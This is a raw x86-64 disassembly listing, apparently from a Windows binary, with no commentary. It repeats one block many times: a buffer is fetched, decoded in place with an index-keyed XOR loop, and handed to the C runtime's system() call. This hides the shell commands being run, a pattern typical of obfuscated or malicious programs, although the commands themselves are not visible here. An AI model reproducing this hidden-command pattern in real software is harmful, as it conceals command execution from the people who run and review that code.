paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140058080
cmp r8d, 0x96
jge 0x1400581c7
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x140058190
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8393]
lea rcx, [rbp + 0x71]
mov byte [rbp + 0x71], al
call fcn.140071840
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x140058357
mov r8d, r14d
cmp r15d, 2
jl 0x140058311
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140058210
cmp r8d, 0x96
jge 0x140058357
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x140058320
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7119]
lea rcx, [rbp + 0x72]
mov byte [rbp + 0x72], al
call fcn.1400718d0
mov r10, rax
cmp byte [rax + 0x7a], 0
je 0x1400584d5
mov r8d, r14d
cmp r15d, 2
jl 0x14005849b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x1400583a0
cmp r8d, 0x7b
jge 0x1400584d5
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x7b
jl 0x1400584a1
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x747a]
lea rcx, [rbp + 0x73]
mov byte [rbp + 0x73], al
call fcn.140071950
mov r10, rax
cmp byte [rax + 0x7c], 0
je 0x140058655
mov r8d, r14d
cmp r15d, 2
jl 0x14005861b
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x140058520
cmp r8d, 0x7d
jge 0x140058655
movsxd r9, r8d
add r9, r10
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x7d
jl 0x140058621
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x98c9]
lea rcx, [rbp + 0x74]
mov byte [rbp + 0x74], al
call fcn.1400719c0
mov r10, rax
cmp byte [rax + 0xa0], 0
je 0x1400587e7
mov r8d, r14d
cmp r15d, 2
jl 0x1400587a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa0
jl 0x1400586a0
cmp r8d, 0xa1
jge 0x1400587e7
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xa1
jl 0x1400587b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8556]
lea rcx, [rbp + 0x75]
mov byte [rbp + 0x75], al
call fcn.140071a40
mov r10, rax
cmp byte [rax + 0x96], 0
je 0x140058977
mov r8d, r14d
cmp r15d, 2
jl 0x140058931
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140058830
cmp r8d, 0x97
jge 0x140058977
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x97
jl 0x140058940
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8e4b]
lea rcx, [rbp + 0x76]
mov byte [rbp + 0x76], al
call fcn.140071ad0
mov r10, rax
cmp byte [rax + 0x9b], 0
je 0x140058b07
mov r8d, r14d
cmp r15d, 2
jl 0x140058ac1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x1400589c0
cmp r8d, 0x9c
jge 0x140058b07
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x9c
jl 0x140058ad0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0xa1c0]
lea rcx, [rbp + 0x77]
mov byte [rbp + 0x77], al
call fcn.140071b60
mov r10, rax
cmp byte [rax + 0xad], 0
je 0x140058c97
mov r8d, r14d
cmp r15d, 2
jl 0x140058c51
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa8
jl 0x140058b50
cmp r8d, 0xae
jge 0x140058c97
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xae
jl 0x140058c60
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x85ed]
lea rcx, [rbp + 0x78]
mov byte [rbp + 0x78], al
call fcn.140071bf0
mov r10, rax
cmp byte [rax + 0x96], 0
je 0x140058e27
mov r8d, r14d
cmp r15d, 2
jl 0x140058de1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140058ce0
cmp r8d, 0x97
jge 0x140058e27
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x97
jl 0x140058df0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x9291]
lea rcx, [rbp + 0x79]
mov byte [rbp + 0x79], al
call fcn.140071c80
mov r10, rax
cmp byte [rax + 0x9d], 0
je 0x140058fb7
mov r8d, r14d
cmp r15d, 2
jl 0x140058f71
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140058e70
cmp r8d, 0x9e
jge 0x140058fb7
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x9e
jl 0x140058f80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7f83]
lea rcx, [rbp + 0x7a]
mov byte [rbp + 0x7a], al
call fcn.140071d20
mov r10, rax
cmp byte [rax + 0x92], 0
je 0x140059147
mov r8d, r14d
cmp r15d, 2
jl 0x140059101
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140059000
cmp r8d, 0x93
jge 0x140059147
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x93
jl 0x140059110
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8ee7]
lea rcx, [rbp + 0x7b]
mov byte [rbp + 0x7b], al
call fcn.140071db0
mov r10, rax
cmp byte [rax + 0x9b], 0
je 0x1400592d7
mov r8d, r14d
cmp r15d, 2
jl 0x140059291
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140059190
cmp r8d, 0x9c
jge 0x1400592d7
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x9c
jl 0x1400592a0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x9157]
lea rcx, [rbp + 0x7c]
mov byte [rbp + 0x7c], al
call fcn.140071e40
mov r10, rax
cmp byte [rax + 0x9c], 0
je 0x140059467
mov r8d, r14d
cmp r15d, 2
jl 0x140059421
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm9
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
